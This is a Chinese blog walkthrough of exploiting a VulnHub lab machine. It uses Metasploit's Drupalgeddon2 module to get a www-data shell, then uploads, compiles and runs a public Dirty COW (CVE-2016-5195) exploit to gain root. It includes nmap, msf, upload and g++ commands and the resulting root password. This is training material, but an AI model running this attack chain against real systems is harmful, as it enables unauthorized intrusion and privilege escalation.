当前位置:   article > 正文

Linux脏牛提权漏洞 CVE-2016-5195 Vulnhub靶场_linux kernel 条件竞争导致本地提权漏洞(脏牛提权)

linux kernel 条件竞争导致本地提权漏洞(脏牛提权)

目录

漏洞原理

漏洞复现

CMS漏洞利用

权限提升


linux脏牛内核提权漏洞 Vulnhub复现 
漏洞原理:

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞


具体漏洞原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

漏洞下载地址:Lampião: 1 ~ VulnHub    下载第二个使用虚拟机打开即可

漏洞复现:

攻击机 kali :192.168.10.148

靶机 vulnhub:192.168.10.141  

nmap扫描C段,探测漏洞主机ip信息,获取ip,这里返回了几个地址,不过可以看出141为此主机地址

利用nmap探测主机的端口信息及相关系统版本,可以确定141就是该靶机地址,开放了80,1898,可以访问看看哪个是站点。

nmap -sV -p- 192.168.10.141

访问1898端口,成功进入web

CMS漏洞利用获取shell:
利用msf寻找exp进行漏洞利用,此靶机存在cms漏洞(Drupal,网站下拉可看到),利用次漏洞,可进行反弹shell,但是权限为shell的普通权限www-data,我们配合脏牛内核提权漏洞,进行提权。
  1. search drupal #寻找cms的exp利用
  2. use exploit/unix/webapp/drupal_drupalgeddon2 相当于use 1 #利用漏洞模块(根据cms版本进行模块的选择,不同的版本利用模块不同)
  3. set rhost 192.168.10.141 #设置靶机地址
  4. set rport 1898 #设置靶机端口
  5. show options #查看配置是否正确

反弹shell成功,但是权限是低权限

权限提升

得到shell后,利用内核提权漏洞进行提权,

exp地址:GitHub - gbonacini/CVE-2016-5195: A CVE-2016-5195 exploit example.

#将exp上传到目标主机tmp目录下 (先将exp保存到kali 的tmp目录)

upload /tmp/dcow.cpp /tmp/dcow.cpp

使用 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

利用g++进行编译成可执行文件,首先先进入shell模式中。

Shell是Linux中最常使用的程序,主要是侦听用户指令、启动指令所指定的进程并将结果返回给用户。除了可以作为命令的编译器外,它也是一种不错的编程语言,是系统管理维护时的重要工具

如下图,dcow为编译成功的文件,默认为网站路径,pwd查看当前路径,进入shell,先cd /tmp进入目录

最后进行exp执行

./dcow

获取到了账号密码(账号:root 密码:dirtyCowFun),xshell进行连接,提权成功

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/872644
推荐阅读
相关标签
  

闽ICP备14008679号